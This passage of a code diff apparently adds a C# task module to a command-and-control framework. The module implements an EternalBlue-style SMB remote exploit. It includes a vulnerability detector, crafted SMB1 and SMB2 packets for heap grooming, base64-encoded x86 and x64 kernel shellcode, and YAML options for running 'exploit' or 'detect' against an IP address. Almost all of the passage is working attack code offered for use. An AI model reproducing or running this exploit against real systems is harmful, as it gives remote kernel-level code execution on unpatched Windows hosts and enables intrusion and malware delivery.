transactionName = Encoding.UTF8.GetBytes("\\PIPE\\\0"); + transRequest.ByteCount = (ushort)transactionName.Length; + + byte[] transRequestBytes = GetBytes(transRequest).Concat(transactionName).ToArray(); + byte[] pkt = headerBytes.Concat(transRequestBytes).ToArray(); + SendSMBMessage(sock, pkt, true); + + header = SMB_HeaderFromBytes(ReceiveSMBMessage(sock)); + if (header.errorClass == 0x05 && header._reserved == 0x02 && header.errorCode == 0xc000) //This equals STATUS_INSUFF_SERVER_RESOURCES + { + return true; + } + return vulnerable; + } + + static public byte[] ClientNegotiate(Socket sock) + { + SMB_HEADER header = new SMB_HEADER + { + protocol = 0x424d53ff, + command = 0x72, + errorClass = 0x00, + _reserved = 0x00, + errorCode = 0x0000, + flags = 0x18, + flags2 = 0x2801, + PIDHigh = 0x0000, + SecurityFeatures = 0x0000000000000000, + reserved = 0x0000, + TID = 0x0000, + PIDLow = 0x4b2f, + UID = 0x0000, + MID = 0x5ec5 + }; + byte[] headerBytes = GetBytes(header); + + SMB_COM_NEGOTIATE_REQUEST req = new SMB_COM_NEGOTIATE_REQUEST + { + WordCount = 0x00 + }; + List dialects = new List(); + dialects.AddRange(Encoding.UTF8.GetBytes("\x2LANMAN1.0\0")); + dialects.AddRange(Encoding.UTF8.GetBytes("\x2LM1.2X002\0")); + dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LANMAN 1.0\0")); + dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LM 0.12\0")); + req.ByteCount = (ushort)dialects.Count; + + byte[] negotitateRequest = GetBytes(req).Concat(dialects.ToArray()).ToArray(); + string hex = BitConverter.ToString(negotitateRequest); + byte[] pkt = headerBytes.Concat(negotitateRequest).ToArray(); + SendSMBMessage(sock, pkt, true); + return ReceiveSMBMessage(sock); + } + + public static string ByteArrayToString(byte[] ba) + { + StringBuilder hex = new StringBuilder(ba.Length * 2); + foreach (byte b in ba) + hex.AppendFormat("{0:x2}-", b); + return hex.ToString(); + } + + static public byte[] SMB1AnonymousLogin(Socket sock) + { + + SMB_HEADER header = new SMB_HEADER + { + protocol = 0x424d53ff, + command = 0x73, + errorClass = 0x00, + _reserved = 0x00, + errorCode = 0x0000, + flags = 0x18, + flags2 = 0xc007, + PIDHigh = 0x0000, + SecurityFeatures = 0x0000000000000000, + reserved = 0x0000, + TID = 0xfeff, + PIDLow = 0x0000, + UID = 0x0000, + MID = 0x0040 + }; + byte[] headerBytes = GetBytes(header); + + SMB_COM_SESSION_SETUP_ANDX_REQUEST AndxRequest = new SMB_COM_SESSION_SETUP_ANDX_REQUEST + { + WordCount = 0x0d, + AndxCommand = 0xff, + reserved1 = 0x00, + AndxOffset = 0x0088, + MaxBuffer = 0x1104, + MaxMpxCount = 0x00a0, + VcNumber = 0x0000, + SessionKey = 0x00000000, + OEMPasswordLen = 0x0001, + UnicodePasswordLen = 0x0000, + Reserved2 = 0x00000000, + Capabilities = 0x000000d4 + }; + List SMBData = new List(); + byte[] nulls = { 0x00, 0x00, 0x00, 0x00, 0x00 }; + SMBData.AddRange(nulls); + SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \02\01\09\05\0\0\0")); + SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \05\0.\00\0\0\0")); + AndxRequest.ByteCount = (ushort)SMBData.Count; + + byte[] AndxRequestBytes = GetBytes(AndxRequest).Concat(SMBData.ToArray()).ToArray(); + byte[] pkt = headerBytes.Concat(AndxRequestBytes).ToArray(); + SendSMBMessage(sock, pkt, true); + return ReceiveSMBMessage(sock); + } + + static public byte[] TreeConnectAndXRequest(string target, Socket sock, ushort UID) + { + SMB_HEADER header = new SMB_HEADER + { + protocol = 0x424d53ff, + command = 0x75, + errorClass = 0x00, + _reserved = 0x00, + errorCode = 0x0000, + flags = 0x18, + flags2 = 0x2001, + PIDHigh = 0x0000, + SecurityFeatures = 0x0000000000000000, + reserved = 0x0000, + TID = 0xfeff, + PIDLow = 0x4b2f, + UID = UID, + MID = 0x5ec5 + }; + byte[] headerBytes = GetBytes(header); + + SMB_COM_TREE_CONNECT_ANDX_REQUEST treeConnectAndxRequest = new SMB_COM_TREE_CONNECT_ANDX_REQUEST + { + WordCount = 0x04, + AndXCommand = 0xff, + AndXReserved = 0x00, + AndXOffset = 0x0000, + Flags = 0x0000, + PasswordLength = 0x0001, + }; + byte[] PathServiceBytes = Encoding.ASCII.GetBytes(@"\\" + target + @"\IPC$" + "\0?????\0"); + List SMBData = new List(); + SMBData.Add(0x00); //Password + SMBData.AddRange(PathServiceBytes); //Path + Service + treeConnectAndxRequest.ByteCount = (ushort)SMBData.Count; + + byte[] TreeConnectAndxRequestBytes = GetBytes(treeConnectAndxRequest).Concat(SMBData.ToArray()).ToArray(); + byte[] pkt = headerBytes.Concat(TreeConnectAndxRequestBytes).ToArray(); + + SendSMBMessage(sock, pkt, true); + return ReceiveSMBMessage(sock); + } + + static public byte[] MakeSMB1NTTransPacket(ushort TID, ushort UID) + { + SMB_HEADER header = new SMB_HEADER + { + protocol = 0x424d53ff, + command = 0xa0, + errorClass = 0x00, + _reserved = 0x00, + errorCode = 0x0000, + flags = 0x18, + flags2 = 0xc007, + PIDHigh = 0x0000, + SecurityFeatures = 0x0000000000000000, + reserved = 0x0000, + TID = TID, + PIDLow = 0xfeff, + UID = UID, + MID = 0x0040 + }; + byte[] headerBytes = GetBytes(header); + + SMB_COM_NT_TRANSACT_REQUEST NTtransactionRequest = new SMB_COM_NT_TRANSACT_REQUEST + { + WordCount = 0x14, + MaxSetupCount = 0x01, + Reserved = 0x0000, + TotalParameterCount = 0x0000001e, + TotalDataCount = 0x000103d0, + MaxParameterCount = 0x0000001e, + MaxDataCount = 0x00000000, + ParameterCount = 0x0000001e, + ParameterOffset = 0x0000004b, + DataCount = 0x000003d0, + DataOffset = 0x00000068, + SetupCount = 0x01, + Function = 0x0000, + Setup = 0x0000 + }; + //Add SMBData + List SMBData = new List(); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 31)); + SMBData.Add(0x01); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 973)); + NTtransactionRequest.ByteCount = (ushort)(SMBData.Count - 1); + //Merge SMBHeader with the NTTransactionRequest + byte[] NTtransactionRequestBytes = GetBytes(NTtransactionRequest).Concat(SMBData.ToArray()).ToArray(); + byte[] pkt = headerBytes.Concat(NTtransactionRequestBytes).ToArray(); + return pkt; + } + + + static public byte[] MakeSMB1Trans2ExploitPacket(ushort TID, ushort UID, string type, int time) + { + + NETBIOS_HEADER NTHeader = new NETBIOS_HEADER + { + MessageTypeAndSize = 0x35100000 + }; + + SMB_HEADER header = new SMB_HEADER + { + protocol = 0x424d53ff, + command = 0x33, + errorClass = 0x00, + _reserved = 0x00, + errorCode = 0x0000, + flags = 0x18, + flags2 = 0xc007, + PIDHigh = 0x0000, + SecurityFeatures = 0x0000000000000000, + reserved = 0x0000, + TID = TID, + PIDLow = 0xfeff, + UID = UID, + MID = 0x0040 + }; + byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray(); + + SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new SMB_COM_TRANSACTION2_SECONDARY_REQUEST + { + WordCount = 0x09, + TotalParameterCount = 0x0102, + TotalDataCount = 0x1000, + ParameterCount = 0x0000, + ParameterOffset = 0x0000, + ParameterDisplacement = 0x0000, + DataCout = 0x1000, + DataOffset = 0x0035, + DataDisplacement = 0x0000, //we change this with our timeout int later + FID = 0x0000, + ByteCount = 0x1000 + }; + int timeout = (time * 16) + 3; + transaction2SecondaryRequest.DataDisplacement = BitConverter.ToUInt16(new byte[] { 0xd0, BitConverter.GetBytes(timeout)[0] }, 0); + //Merge SMBHeader with the transaction2SecondaryRequest + byte[] transaction2SecondaryRequestBytes = GetBytes(transaction2SecondaryRequest); + byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestBytes).ToArray(); + + if (type.Equals("eb_trans2_exploit")) + { + List SMBData = new List(); + + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2957)); + SMBData.AddRange(new List() + { + 0x80,0x00,0xa8,0x00 + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 16)); + SMBData.AddRange(new List() + { + 0xff,0xff + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 6)); + SMBData.AddRange(new List() + { + 0xff,0xff + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 22)); + SMBData.AddRange(new List() + { + 0x00,0xf1,0xdf,0xff // x86 addresses + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 8)); + SMBData.AddRange(new List() + { + 0x20,0xf0,0xdf,0xff,0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff,0x60,0x00,0x04,0x10 + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4)); + SMBData.AddRange(new List() + { + 0x80,0xef,0xdf,0xff + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4)); + SMBData.AddRange(new List() + { + 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff,0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x10)); + SMBData.AddRange(new List() + { + 0x60,0x00,0x04,0x10 + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xc)); + SMBData.AddRange(new List() + { + 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x8)); + SMBData.AddRange(new List() + { + 0x80,0x10 + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xe)); + SMBData.AddRange(new List() + { + 0x39,0xbb + }); + SMBData.AddRange(Enumerable.Repeat((byte)0x41, 965)); + pkt = pkt.Concat(SMBData.ToArray()).ToArray(); + return pkt; + } + + if (type.Equals("eb_trans2_zero")) + { + List SMBData = new List(); + SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2055)); + SMBData.Add(0x83); + SMBData.Add(0xf3); + SMBData.AddRange(Enumerable.Repeat((byte)0x41, 2039)); + pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all + return pkt; + } + else + { + List SMBData = new List(); + SMBData.AddRange(Enumerable.Repeat((byte)0x41, 4096)); + pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all + } + + return pkt; + } + + static public byte[] MakeSMB1EchoPacket(ushort TID, ushort UID) + { + NETBIOS_HEADER NTHeader = new NETBIOS_HEADER + { + MessageTypeAndSize = 0x31000000 + }; + + SMB_HEADER header = new SMB_HEADER + { + protocol = 0x424d53ff, + command = 0x2b, + errorClass = 0x00, + _reserved = 0x00, + errorCode = 0x0000, + flags = 0x98, + flags2 = 0xc007, + PIDHigh = 0x0000, + SecurityFeatures = 0x0000000000000000, + reserved = 0x0000, + TID = TID, + PIDLow = 0xfeff, + UID = UID, + MID = 0x0040 + }; + byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray(); + + SMB_COM_ECHO_REQUEST echoRequest = new SMB_COM_ECHO_REQUEST + { + WordCount = 0x1, + EchoSequenceNumber = 0x0001, + }; + + //Add SMBData + List SMBData = new List(); + SMBData.AddRange(Enumerable.Repeat((byte)0x41, 11)); + SMBData.Add(0x00); + echoRequest.ByteCount = (ushort)(SMBData.Count); + //Merge SMBHeader with the echoRequest + byte[] echoRequestBytes = GetBytes(echoRequest).Concat(SMBData.ToArray()).ToArray(); + byte[] pkt = headerBytes.Concat(echoRequestBytes).ToArray(); + return pkt; + } + + static public byte[] SMB1LargeBuffer(SMB_HEADER header, Socket sock) + { + //Send and Recveive NT Trans packet + byte[] nt_trans_pkt = MakeSMB1NTTransPacket(header.TID, header.UID); + SendSMBMessage(sock, nt_trans_pkt, true); + ReceiveSMBMessage(sock); + + //initial trans2 request + byte[] trans_pkt_nulled = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_zero", 0); + + //Send all but the last packet + for (int i = 1; i <= 14; i++) + { + byte[] temp = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_buffer", i); + trans_pkt_nulled = trans_pkt_nulled.Concat(temp).ToArray(); + } + //Create SMB1 Echo packet + byte[] echo = MakeSMB1EchoPacket(header.TID, header.UID); + trans_pkt_nulled = trans_pkt_nulled.Concat(echo).ToArray(); + SendSMBMessage(sock, trans_pkt_nulled, false); + + return ReceiveSMBMessage(sock); + } + + static public byte[] MakeSMB1FreeHoleSessionPacket(byte[] flags2, byte[] vcnum, byte[] native_os) + { + byte[] pkt = { 0xff, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, flags2[0], flags2[1], 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, 0x40, 0x00, 0x0c, 0xff, 0x00, 0x00, 0x00, 0x04, 0x11, 0x0a, 0x00, vcnum[0], vcnum[1], 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x16, 0x00, native_os[0], native_os[1], native_os[2], native_os[3], native_os[4] }; + byte[] rest = Enumerable.Repeat((byte)0x00, 17).ToArray(); + pkt = pkt.Concat(rest).ToArray(); + return pkt; + } + + static public Socket SMB1FreeHole(string ip, int port, bool start) + { + TcpClient client = new TcpClient(ip, port); + Socket sock = client.Client; + ClientNegotiate(sock); + byte[] pkt; + if (start) + { + byte[] flags2 = { 0x07, 0xc0 }; + byte[] vcnum = { 0x2d, 0x01 }; + byte[] native_os = { 0xf0, 0xff, 0x00, 0x00, 0x00 }; + pkt = MakeSMB1FreeHoleSessionPacket(flags2, vcnum, native_os); + } + else + { + byte[] flags2 = { 0x07, 0x40 }; + byte[] vcnum = { 0x2c, 0x01 }; + byte[] native_os = { 0xf8, 0x87, 0x00, 0x00, 0x00 }; + pkt = MakeSMB1FreeHoleSessionPacket(flags2, vcnum, native_os); + } + + SendSMBMessage(sock, pkt, true); + ReceiveSMBMessage(sock); + return sock; + } + + static public List SMB2Grooms(string ip, int port, int grooms, byte[] payload_hdr_pkt, List groom_socks) + { + for (int i = 0; i < grooms; i++) + { + TcpClient client = new TcpClient(ip, port); + Socket gsock = client.Client; + groom_socks.Add(gsock); + SendSMBMessage(gsock, payload_hdr_pkt, false); + } + return groom_socks; + } + + static public byte[] MakeSMB2PayLoadHeadersPacket() + { + byte[] pkt = { 0x00, 0x00, 0xff, 0xf7, 0xfe, 0x53, 0x4D, 0x42 }; + byte[] tmp = Enumerable.Repeat((byte)0x00, 124).ToArray(); + pkt = pkt.Concat(tmp).ToArray(); + return pkt; + } + + static public byte[] MakeSMB2PayloadBodyPacket(byte[] kernel_user_payload) + { + int pkt_max_len = 4204; + int pkt_setup_len = 497; + int pkt_max_payload = pkt_max_len - pkt_setup_len; + List pkt = new List(); + + pkt.AddRange(new List() + { + 0x00, 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00, 0x03, 0x00, 0x00, 0x00 + }); + pkt.AddRange(Enumerable.Repeat((byte)0x00, 28)); + pkt.AddRange(new List() + { + 0x03,0x00,0x00,0x00 + }); + pkt.AddRange(Enumerable.Repeat((byte)0x00, 116)); + //KI_USER_SHARED_DATA addresses + pkt.AddRange(new List() + { //64 + 0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff,0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff + }); + pkt.AddRange(Enumerable.Repeat((byte)0x00, 16)); + pkt.AddRange(new List() + { //86 + 0xc0,0xf0,0xdf,0xff,0xc0,0xf0,0xdf,0xff + }); + pkt.AddRange(Enumerable.Repeat((byte)0x00, 196)); + + //payload address + pkt.AddRange(new List() + { + 0x90,0xf1,0xdf,0xff + }); + pkt.AddRange(Enumerable.Repeat((byte)0x00, 4)); + pkt.AddRange(new List() + { + 0xf0,0xf1,0xdf,0xff + }); + pkt.AddRange(Enumerable.Repeat((byte)0x00, 64)); + pkt.AddRange(new List() + { + 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + }); + pkt.AddRange(Enumerable.Repeat((byte)0x00, 8)); + pkt.AddRange(new List() + { + 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff,0x00 + }); + pkt = pkt.Concat(kernel_user_payload).ToList(); + + int j = pkt_max_payload - kernel_user_payload.Length; + pkt.Add(0x00); + /* + for (int i = 0; i < j; i++) + { + pkt.Add(0x00); + } + */ + return pkt.ToArray(); + } + + static public byte[] customKernel() + { + + string shellcodeb64_x86 = "YOgAAAAAW+gjAAAAuXYBAAAPMo17OTn4dBE5RQB0BolFAIlVCIn4MdIPMGHCJACNqwAQAADB7QzB5QyD7VDDuSMAAABqMA+hjtmOwWSLDUAAAACLYQRRnGDoAAAAAFvoy////4tFAIPAF4lEJCQxwJlC8A+wVQh1Erl2AQAAmYtFAA8w++gEAAAA+mGdw4tFAMHoDMHgDC0AEAAAZoE4TVp19IlFBLh4fPTb6NMAAACXuD9fZHdX6McAAAAp+InBPXABAAB1A4PACI1YHI00H2ShJAEAAIs2ifIpwoH6AAQAAHfyUrjhFAEX6JsAAACLQAqNUASNNA/oywAAAD1aavrBdA492IPgPnQHizwXKdfr44l9DI0cH411EF+LWwS4Pkz4zuhhAAAAi0AKPKB3AiwIKfiDfAP8AHThMcBVagFVUOgAAAAAgQQkkgAAAFBTKTwkVrjEXBlt6CUAAAAxwFBQUFa4NEbMr+gVAAAAhcB0qotFHIB4DgF0B4kAiUAE65rD6AIAAAD/4GCLbQSXi0U8i1QFeAHqi0oYi1ogAetJizSLAe7oHQAAADn4dfGLWiQB62aLDEuLWhwB64sEiwHoiUQkHGHDUjHAmazByg0BwoXAdfaSWsNYiUQkEFhZWFpgUlGLKDHAZKIkAAAAmbBAUMHgBlBUUokRUUpSuOqZblfoe////4XAdU9YizjoAAAAAF6DxlW5AAQAAPOki0UMULhIuBi46Fb///+LQAyLQBSLAGaDeCQYdfeLUCiBegwzADIAdeuLWBCJXQS4XlFeg+gy////WYkBMcCIRQhAZKIkAAAAYcNaWFhZUVFR6AAAAACDBCQJUVFS/+A="; + + string shellcodeb64_x64 = "VeguAAAAuYIAAMAPMkyNDTQAAABEOch0GTlFAHQKiVUEiUUAxkX4AEmRUFpIweogDzBdw0iNLQAQAABIwe0MSMHlDEiD7XDDDwH4ZUiJJCUQAAAAZUiLJCWoAQAAaitl/zQlEAAAAFBQVejF////SItFAEiDwB9IiUQkEFFSQVBBUUFSQVMxwLIB8A+wVfh1FLmCAADAi0UAi1UEDzD76A4AAAD6QVtBWkFZQVhaWV1Yw0FXQVZXVlNQTIt9AEnB7wxJwecMSYHvABAAAGZBgT9NWnXxTIl9CGVMizQliAEAAL94fPTb6AEBAABIkb8/X2R36PwAAACLQAOJwz0ABAAAcgODwBBIjVAoTI0EEU2JwU2LCU05yA+ExgAAAEyJyEwp8Eg9AAcAAHfmTSnOv+EUARfouwAAAIt4A4PHCEiNNBno9AAAAD1aavrBdBA92IPgPnQJSIsMOUgp+evgv0i4GLjohAAAAEiJRfBIjTQRSInzSItbCEg53nT3So0UM78+TPjO6GkAAACLQANIg3wC+AB03kiNTRBNMcBMjQ2pAAAAVWoBVUFQSIPsIL/EXBlt6DUAAABIjU0QTTHJvzRGzK/oJAAAAEiDxECFwHSjSItFIIB4GgF0CUiJAEiJQAjrkFhbXl9BXkFfw+gCAAAA/+BTUVZBi0c8QYuEB4gAAABMAfhQi0gYi1ggTAH7/8mLNItMAf7oHwAAADn4de9Yi1gkTAH7ZosMS4tYHEwB+4sEi0wB+F5ZW8NSMcCZrMHKDQHChcB19pJaw1VTV1ZBV0mLKEyLfQhSXkyJyzHARA8iwEiJAonBSPfRSYnAsEBQweAGUEmJAUiD7CC/6pluV+hl////SIPEMIXAdUVIiz5IjTVNAAAAuQAGAADzpEiLRfBIi0AYSItAIEiLAGaDeEgYdfZIi1BQgXoMMwAyAHXpTIt4IL9eUV6D6CL///9IiQMxyYhN+LEBRA8iwUFfXl9bXcNIkjHJUVFJiclMjQUNAAAAicpIg+wg/9BIg8Qwww=="; + byte[] shellcode = Convert.FromBase64String(shellcodeb64_x64); + return shellcode; + } + + static public byte[] MakeKernelUserPayload(byte[] ring3) + { + + byte[] shellcode = customKernel(); + byte[] length = BitConverter.GetBytes((UInt16)ring3.Length); + shellcode = shellcode.Concat(length).ToArray(); + shellcode = shellcode.Concat(ring3).ToArray(); + return shellcode; + } + + + + + + static bool Detect(string target) + { + string ip = target; + int port = 445; + + try + { + TcpClient client = new TcpClient(ip, port); + Socket sock = client.Client; + + ClientNegotiate(sock); + byte[] response = SMB1AnonymousLogin(sock); + output += Environment.NewLine +"Trying to detect version of Windows running on " + target + " ..."; + DetectVersionOfWindows(response); + + SMB_HEADER header = SMB_HeaderFromBytes(response); + TreeConnectAndXRequest(ip, sock, header.UID); + + //This is checked with userid 2049 and not 2048 + bool vulnerable = CheckVulnerability(sock); + if (vulnerable) + { + output += Environment.NewLine +target + " appears to be vulnerable!"; + sock.Close(); + client.Close(); + return true; + } + else + { + output += Environment.NewLine +"IP: " + target + " does not appears to be vulnerable!"; + sock.Close(); + client.Close(); + } + } + catch + { + return false; + } + return false; + } + + static void Exploit(string target,byte[] buffer) + { + string ip = target; + int port = 445; + int grooms = 12; + + TcpClient client = new TcpClient(ip, port); + Socket sock = client.Client; + + output += Environment.NewLine + "buffer length: " + buffer.Length; + + byte[] shellcode = MakeKernelUserPayload(buffer); + byte[] payload_hdr_pkt = MakeSMB2PayLoadHeadersPacket(); + byte[] payload_body_pkt = MakeSMB2PayloadBodyPacket(shellcode); + + output += Environment.NewLine +"Trying to exploit: " + target; + ClientNegotiate(sock); + byte[] response = SMB1AnonymousLogin(sock); + SMB_HEADER header = SMB_HeaderFromBytes(response); + response = TreeConnectAndXRequest(ip, sock, header.UID); + header = SMB_HeaderFromBytes(response); + sock.ReceiveTimeout = 2000; + output += Environment.NewLine +"Connection established for exploitation."; + + output += Environment.NewLine +"Creating a large SMB1 buffer... All but last fragment of exploit packet"; + SMB1LargeBuffer(header, sock); + Socket fhs_sock = SMB1FreeHole(ip, port, true); + + output += Environment.NewLine +"Grooming..."; + List grooms_socks = new List(); + grooms_socks = SMB2Grooms(ip, port, grooms, payload_hdr_pkt, grooms_socks); + Socket fhf_sock = SMB1FreeHole(ip, port, false); + fhs_sock.Close(); + grooms_socks = SMB2Grooms(ip, port, 6, payload_hdr_pkt, grooms_socks); + fhf_sock.Close(); + + output += Environment.NewLine +"Ready for final exploit..."; + byte[] final_exploit_pkt = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_exploit", 15); + + try + { + SendSMBMessage(sock, final_exploit_pkt, false); + response = ReceiveSMBMessage(sock); + header = new SMB_HEADER(); + header = SMB_HeaderFromBytes(response); + } + catch (Exception e) + { + output += Environment.NewLine +"Socket error, this might end badly" + e.Message; + } + + output += Environment.NewLine +"Sending exploits with the grooms"; + foreach (Socket s in grooms_socks) + { + SendSMBMessage(s, payload_body_pkt.Take(2920).ToArray(), false); + } + foreach (Socket s in grooms_socks) + { + SendSMBMessage(s, payload_body_pkt.Skip(2920).ToArray(), false); + } + foreach (Socket s in grooms_socks) + { + s.Close(); + } + output += Environment.NewLine +"Exploit send successfully..."; + client.Close(); + sock.Close(); + } + + public static string Execute(string Command,string payload) + { + try + { + string[] args = Command.Split(' '); + if (args[0] == "detect") + { + Detect(args[1]); + return output; + } + else + { + try + { + Exploit(args[1], Convert.FromBase64String(payload)); + } + catch(Exception e) + { + return e.Message; + } + + } + return output; + } + catch(Exception x) + { + return x.Message; + } + } + } + + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: + - Name: Command + Value: '' + DefaultValue: '' + Description: command , exploit or detect and ip address + SuggestedValues: ['exploit 192.168.1.69','detect 192.168.4.20'] + Optional: true + DisplayInCommand: true + FileOption: false + - Name: payload + Value: '' + DefaultValue: '' + Description: shellcode + SuggestedValues: [] + Optional: true + DisplayInCommand: false + FileOption: true + ReferenceAssemblies: + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Configuration.Install.dll + Location: net35\System.Configuration.Install.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.Data.DataSetExtensions.dll + Location: net35\System.Data.DataSetExtensions.dll + DotNetVersion: Net35 + - Name: System.Data.dll + Location: net35\System.Data.dll + DotNetVersion: Net35 + - Name: System.DirectoryServices.AccountManagement.dll + Location: net35\System.DirectoryServices.AccountManagement.dll + DotNetVersion: Net35 + - Name: System.DirectoryServices.dll + Location: net35\System.DirectoryServices.dll + DotNetVersion: Net35 + - Name: System.DirectoryServices.Protocols.dll + Location: net35\System.DirectoryServices.Protocols.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.Drawing.dll + Location: net35\System.Drawing.dll + DotNetVersion: Net35 + - Name: System.IdentityModel.dll + Location: net35\System.IdentityModel.dll + DotNetVersion: Net35 + - Name: System.Management.Automation.dll + Location: net35\System.Management.Automation.dll + DotNetVersion: Net35 + - Name: System.Management.dll + Location: net35\System.Management.dll + DotNetVersion: Net35 + - Name: System.Security.dll + Location: net35\System.Security.dll + DotNetVersion: Net35 + - Name: System.ServiceProcess.dll + Location: net35\System.ServiceProcess.dll + DotNetVersion: Net35 + - Name: System.Web.Extensions.dll + Location: net35\System.Web.Extensions.dll + DotNetVersion: Net35 + - Name: System.Windows.Forms.dll + Location: net35\System.Windows.Forms.dll + DotNetVersion: Net35 + - Name: System.XML.dll + Location: net35\System.XML.dll + DotNetVersion: Net35 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Configuration.Install.dll + Location: net40\System.Configuration.Install.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: System.Data.DataSetExtensions.dll + Location: net40\System.Data.DataSetExtensions.dll + DotNetVersion: Net40 + - Name: System.Data.dll + Location: net40\System.Data.dll + DotNetVersion: Net40 + - Name: System.DirectoryServices.AccountManagement.dll + Location: net40\System.DirectoryServices.AccountManagement.dll + DotNetVersion: Net40 + - Name: System.DirectoryServices.dll + Location: net40\System.DirectoryServices.dll + DotNetVersion: Net40 + - Name: System.DirectoryServices.Protocols.dll + Location: net40\System.DirectoryServices.Protocols.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Drawing.dll + Location: net40\System.Drawing.dll + DotNetVersion: Net40 + - Name: System.IdentityModel.dll + Location: net40\System.IdentityModel.dll + DotNetVersion: Net40 + - Name: System.Management.Automation.dll + Location: net40\System.Management.Automation.dll + DotNetVersion: Net40 + - Name: System.Management.dll + Location: net40\System.Management.dll + DotNetVersion: Net40 + - Name: System.Security.dll + Location: net40\System.Security.dll + DotNetVersion: Net40 + - Name: System.ServiceProcess.dll + Location: net40\System.ServiceProcess.dll + DotNetVersion: Net40 + - Name: System.Web.Extensions.dll + Location: net40\System.Web.Extensions.dll + DotNetVersion: Net40 + - Name: System.Windows.Forms.dll + Location: net40\System.Windows.Forms.dll + DotNetVersion: Net40 + - Name: System.XML.dll + Location: net40\System.XML.dll + DotNetVersion: Net40 + EmbeddedResources: [] +